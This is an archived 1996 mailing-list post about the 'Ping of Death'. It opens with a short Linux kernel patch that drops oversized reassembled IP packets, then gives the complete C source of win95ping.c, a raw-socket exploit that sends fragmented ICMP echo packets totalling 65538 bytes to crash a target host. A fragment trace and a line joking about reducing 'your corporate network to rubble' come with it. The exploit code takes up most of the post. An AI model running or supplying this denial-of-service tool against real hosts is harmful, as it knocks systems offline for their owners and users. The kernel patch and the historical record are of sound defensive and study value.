*** net/inet/ip.c.orig Tue May 30 06:33:31 1995
--- net/inet/ip.c Wed Nov 13 10:48:33 1996
***************
*** 947,952 ****
--- 947,965 ----
return NULL;
}
}
+
+ /*
+ * Attempt to construct an oversize packet.
+ */
+
+ if (ntohs(iph->tot_len)+offset>65535)
+ {
+ printk("Oversized IP packet from %s.\n", in_ntoa(iph->saddr));
+ skb->sk = NULL;
+ kfree_skb(skb, FREE_READ);
+ ip_statistics.IpReasmFails++;
+ return NULL;
+ }
/*
* Determine the position of this fragment.
*** Bob: the following would not compile on my Linux version 1.2.0 system.
*** I suspect it is not new enough (x>0).
========== Comments on Linux program to do the evil ping =============
Ping program for those without Windows '95
This recently floated across the bugtraq mailing list - it's reproduced here
for those fortunate souls that don't have the disease known as "Windows '95".
Now you too can reduce your corporate network to rubble!
Thanks to Bill Fenner for writing this.
-------------------------------------------------------------------------------
> Since some people don't necessarily have Windows '95 boxes lying around,
> I wrote the following exploit program. It requires a raw socket layer
> that doesn't mess with the packet, so BSD 4.3, SunOS and Solaris are out.
> It works fine on 4.4BSD systems. It should work on Linux if you compile
> with -DREALLY_RAW.
> Feel free to do with this what you want. Please use this tool only to test
> your own machines, and not to crash others'. Mike, would you put it up on
> your web page?
> Bill
I've modified it slightly to compile on Linux v2.0.x.
It has to be run as root to open a raw socket. Note this won't
compile on kernels prior to 2.0.x - working on it.
========== Code of Linux program to do the evil ping =============
/*
* win95ping.c
*
* Simulate the evil win95 "ping -l 65510 buggyhost".
* version 1.0 Bill Fenner <fenner at freebsd.org> 22-Oct-1996
* version 1.01 Mike Bremford <Mike.Bremford at bl.uk> patched for Linux
* version 1.02 Barak Pearlmutter <bap at sloan.salk.edu> clean compile
*
* This requires raw sockets that don't mess with the packet at all (other
* than adding the checksum). That means that SunOS, Solaris, and
* BSD4.3-based systems are out. BSD4.4 systems (FreeBSD, NetBSD,
* OpenBSD, BSDI) will work. Linux might work, I don't have a Linux
* system to try it on.
*
* The attack from the Win95 box looks like:
* 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480 at 0+)
* 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480 at 1480+)
* 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480 at 2960+)
* 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480 at 4440+)
* 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480 at 5920+)
* 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480 at 7400+)
* 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480 at 8880+)
* 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480 at 10360+)
* 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480 at 11840+)
* 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480 at 13320+)
* 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480 at 14800+)
* 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480 at 16280+)
* 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480 at 17760+)
* 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480 at 19240+)
* 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480 at 20720+)
* 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480 at 22200+)
* 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480 at 23680+)
* 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480 at 25160+)
* 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480 at 26640+)
* 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480 at 28120+)
* 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480 at 29600+)
* 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480 at 31080+)
* 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480 at 32560+)
* 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480 at 34040+)
* 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480 at 35520+)
* 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480 at 37000+)
* 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480 at 38480+)
* 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480 at 39960+)
* 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480 at 41440+)
* 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480 at 42920+)
* 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480 at 44400+)
* 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480 at 45880+)
* 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480 at 47360+)
* 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480 at 48840+)
* 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480 at 50320+)
* 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480 at 51800+)
* 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480 at 53280+)
* 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480 at 54760+)
* 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480 at 56240+)
* 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480 at 57720+)
* 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480 at 59200+)
* 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480 at 60680+)
* 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480 at 62160+)
* 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480 at 63640+)
* 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398 at 65120)
*
*/
#define LINUX 1
#ifdef LINUX
#define REALLY_RAW
#define __BSD_SOURCE
#ifndef IP_MF
#define IP_MF 0x2000
#define IP_DF 0x4000
#define IP_CE 0x8000
#define IP_OFFSET 0x1FFF
#endif
#endif
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>
/*
* If your kernel doesn't muck with raw packets, #define REALLY_RAW.
* This is probably only Linux.
*/
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
#ifdef LINUX
struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
#else
struct icmp *icmp = (struct icmp *)(ip + 1);
#endif
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;
bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW,
#ifdef LINUX
IPPROTO_ICMP
#else
IPPROTO_IP
#endif
)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc != 2) {
fprintf(stderr, "usage: %s hostname\n", argv[0]);
exit(1);
}
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[1]);
exit(1);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
#ifdef LINUX
ip->ip_csum = 0; /* kernel fills in */
#else
ip->ip_sum = 0; /* kernel fills in */
#endif
ip->ip_src.s_addr = 0; /* kernel fills in */
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
#ifdef LINUX
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = htons(~(ICMP_ECHO << 8));
/* the checksum of all 0's is easy to compute */
#else
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
/* the checksum of all 0's is easy to compute */
#endif
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
#ifdef LINUX
icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
#else
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
#endif
}
}
return 0;
}
=========================== End of email from transam at cavu.com ================
More information about the Ale
mailing list